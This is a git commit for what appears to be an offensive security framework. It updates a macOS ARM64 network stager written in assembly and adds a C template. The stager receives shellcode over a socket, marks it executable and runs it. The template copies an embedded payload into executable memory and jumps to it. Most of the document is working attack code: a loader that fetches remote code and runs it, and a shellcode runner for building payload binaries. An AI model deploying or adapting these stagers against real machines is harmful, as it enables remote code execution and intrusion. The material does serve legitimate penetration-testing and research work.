Update OSX AARCH64 Stager

This fixes an issue with the stager size in the osx aarch64 payloads. It
also adds the source and Makefile for template_aarch64_darwin.bin
This commit is contained in:
usiegl00
2023-07-31 20:30:30 -07:00
parent 9019b51eaa
commit c028d33cae
4 changed files with 31 additions and 9 deletions
@@ -20,9 +20,9 @@
.global _main
_main:
/* mmap(addr=0, length=0x1000, prot=0x2 (PROT_WRITE), flags=0x1002 (MAP_PRIVATE | MAP_ANON), fd=-1, offset=0) */
/* mmap(addr=0, length=328, prot=0x2 (PROT_WRITE), flags=0x1002 (MAP_PRIVATE | MAP_ANON), fd=-1, offset=0) */
mov x0, xzr
mov x1, #0x1000
mov x1, #328
mov x2, #2
mov x3, #0x1002
mvn x4, xzr
@@ -59,10 +59,10 @@ socket:
svc 0
//cbnz w0, retry
/* recvfrom(sockfd='x13', address='x12', length=0x1000, flags=0x40 (MSG_WAITALL), from=0, fromlenaddr=0) */
/* recvfrom(sockfd='x13', address='x12', length=328, flags=0x40 (MSG_WAITALL), from=0, fromlenaddr=0) */
mov x0, x13
mov x1, x12
mov x2, #0x1000
mov x2, #328
mov x3, #0x40
mov x4, xzr
mov x5, xzr
@@ -70,9 +70,9 @@ socket:
svc 0
//cbnz w0, retry
/* mprotect(addr, length=0x1000, prot=0x5 (PROT_READ | PROT_EXEC)) */
/* mprotect(addr, length=328, prot=0x5 (PROT_READ | PROT_EXEC)) */
mov x0, x12
mov x1, #0x1000
mov x1, #328
mov x2, #5
ldr x16, =SYS_MPROTECT
svc 0
+4
View File
@@ -0,0 +1,4 @@
.PHONY: templates
templates: template_aarch64_darwin
strip $^
cp $^ ../../../../../data/$@/$^.bin
@@ -0,0 +1,18 @@
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
char payload[8000] = "PAYLOAD:";
int main() {
void *ptr = mmap(0, sizeof(payload), PROT_READ | PROT_WRITE, MAP_ANON | MAP_SHARED, -1, 0);
if (ptr == MAP_FAILED) {
return 0;
}
memcpy(ptr, payload, sizeof(payload));
mprotect(ptr, sizeof(payload), PROT_READ | PROT_EXEC);
int (*sc)() = ptr;
sc();
return 0;
}